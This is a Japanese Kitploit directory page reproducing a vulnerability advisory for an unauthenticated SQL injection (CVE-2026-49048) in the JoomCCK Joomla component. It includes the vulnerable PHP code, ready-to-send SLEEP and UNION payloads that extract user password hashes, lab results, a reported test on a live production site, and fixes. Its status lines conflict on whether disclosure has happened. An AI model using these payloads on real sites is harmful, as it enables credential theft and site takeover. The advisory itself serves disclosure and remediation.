Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kara-git/cve-2026-49048-joomcck-sqli
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストデータベースセキュリティ
GitHubkara-git/cve-2026-49048-joomcck-sqli

CVE-2026-49048-JoomCCK-SQLi

CVE-2026-49048 — JoomCCK 6.4.0 未認証SQLインジェクション (CVSS 9.8)

リポジトリを見る
1223ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-49048 — JoomCCK 6.4.0 未認証SQLインジェクション (CVSS 9.8)

CVE: CVE-2026-49048
ステータス: 公開開示。Joomla Security Strike Team (JSST) へ報告済み — チケット #282420。


アドバイザリ概要

項目値
アドバイザリIDJOOMCCK-2026-001
CVECVE-2026-49048
製品JoomCCK (com_joomcck) — Joomla向けコンテンツ構築キット
ベンダーJoomCoder — https://www.joomcoder.com
影響を受けるバージョン6.4.0 (発見時点の最新版。以前の6.xも影響を受けると推定)
修正バージョン執筆時点ではなし
種類認可の欠如 (CWE-862) を経由したSQLインジェクション (CWE-89)
必要な認証なし — 未認証、認証前
深刻度Critical — CVSS 3.1 基本スコア 9.8
CVSSベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
発見者Kamil Soltanov
連絡先[email protected]
発見日2026-06-22

概要

Joomla 4/5/6向けコンポーネント JoomCCK は、ユーザーが指定した tag パラメータをエスケープやパラメータ化を行わずに直接SQLへ連結するフロントエンドコントローラタスク (task=tags.save) を公開しています。このコンポーネント独自のMVCディスパッチャは CSRFトークンチェックもアクセス制御チェックも一切行わない ため、完全に 未認証のリモート攻撃者 がこのインジェクションに到達できます。

悪用に成功すると、UNIONベースおよび時間ベースのブラインドSQLインジェクションを通じて、#__users のパスワードハッシュを含むJoomlaデータベース全体への読み取りアクセスが可能となり、サイト全体の侵害 につながります。


根本原因 — 連鎖する2つの欠陥

1. 独自MVCディスパッチャにおける認可の欠如 (CWE-862)

libraries/mint/mvc/controller/base.php — MControllerBase::execute():

public function execute($task)
{
    $this->task = $task;
    $task = !is_null($task) ? strtolower($task) : '';
    $doTask = $this->taskMap[$task];
    ...
    return $this->$doTask();   // Invoked with no checkToken(), no authorise()
}

同じクラスの authorise() メソッドは何もしない(no-op)で、無条件に true を返します。
エントリポイント components/com_joomcck/joomcck.php は execute(input->get('task')) をログイン、トークン、ACL ゲートなしで呼び出します → すべての公開コントローラメソッドが認証不要のタスクとなります。

2. tags.save における SQL インジェクション (CWE-89)

components/com_joomcck/models/tags.php — _saveTag():

$tag = $app->input->getString('tag');   // Joomla 'STRING' filter: strips HTML but NOT SQL quotes

$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';  // INJECTABLE
$exist_item = $this->_getList($query);

// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;    // INJECTABLE

Joomla の STRING 入力フィルターは HTML タグを除去しますが、" はそのまま通過させます — これはここで SQL 文字列の区切り文字として使われているのと同じ文字です。引用符で囲まれたリテラルから抜け出すことで、任意の SQL を注入できます。


概念実証

時間ベースのブラインド (事前知識不要)

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com

期待: 応答が5秒以上遅延する(一致した行ごと)。

UNION によるデータ窃取

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com

ローカルラボでの検証結果

完全なPoCコードと取得した証拠の記録は poc/ にあります。

主なラボ結果:

ペイロード (tag=)結果
cars (良性)1行返却 — 正常
zzz" OR "1"="1" がエスケープされず → 全行返却 (インジェクションを確認)
zzz" UNION SELECT id,username,password FROM jos_users-- -管理者パスワードハッシュを窃取
zzz" OR SLEEP(3)-- -応答が 9.0 秒 遅延 (3行 × 3秒)

ラボハーネスは、実際の Joomla\Input\Input::getString() と、稼働中の MariaDB 11.8 インスタンスに対する逐語的な _saveTag() クエリを使用しています。


影響

未認証のリモート攻撃者が以下を実行できます:

  • Joomla データベースから任意のデータ (認証情報、セッショントークン、PII) を 読み取り → 管理者権限の完全な乗っ取り
  • インジェクション可能な UPDATE を介して #__js_res_tags の行を 変更
  • task=tags.delete および task=records.copy と組み合わせる (これらも未認証 — 同じディスパッチャの欠陥)

二次的な発見 — アクセス制御の不備 (CWE-862, CVSS ~6.5)

同じディスパッチャの欠陥により、追加の未認証タスクが露出します:

タスク影響
tags.delete認証なしで任意のタグを削除
records.copy認証なしで任意のレコードを複製
ajax.category_recordsカテゴリ別にレコードを列挙
ajax.tags_listすべてのタグを一覧表示
ajax.users_filterユーザー名を列挙
ajax.loadfieldparamsフィールド設定を開示

注: 多くの records.* タスクは内部的に _checkAccess() を介して ACL を適用しており、影響を受けません。


修正

1. すべてのクエリをパラメータ化する (Joomla クエリビルダー):

$db  = $this->getDatabase();
$tag = $app->input->getString('tag');

// SELECT
$query = $db->getQuery(true)
    ->select('a.*')
    ->from($db->quoteName('#__js_res_tags', 'a'))
    ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));

// UPDATE
$upd = $db->getQuery(true)
    ->update($db->quoteName('#__js_res_tags'))
    ->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
    ->where($db->quoteName('id') . ' = ' . (int) $id);

2. ディスパッチャーで認可を強制する — 状態を変更するすべてのタスクの前に Session::checkToken() と ACL チェック(Factory::getApplication()->getIdentity()->authorise(...))を追加し、files.upload にすでに存在する保護を踏襲します。


開示タイムライン

日付出来事
2026-06-22ローカルラボの PoC により脆弱性を発見・検証
2026-06-22アドバイザリを作成し、Joomla Security Strike Team(JSST)および VEL に報告
2026-06-23JSST が受領を確認 — David Jardin、チケット #282420。ベンダー(JoomCoder)との調整は JSST 経由
2026-06-25本番 Joomla サイトでの実環境攻撃を確認: SLEEP(5) → 115 秒の応答、UNION で MySQL エラー 1222(非破壊的、データ流出なし)
未定ベンダーパッチ
未定CVE の割り当て
未定公開開示(90 日間の協調開示期間)

参考情報

  • ベンダー: https://www.joomcoder.com
  • Joomla VEL(脆弱な拡張機能リスト): https://vel.joomla.org
  • Joomla JSST: [email protected]
  • CWE-89: SQL インジェクション
  • CWE-862: 認可の欠如

研究者について

独立系セキュリティ研究者。
連絡先: [email protected]

ツールをダウンロード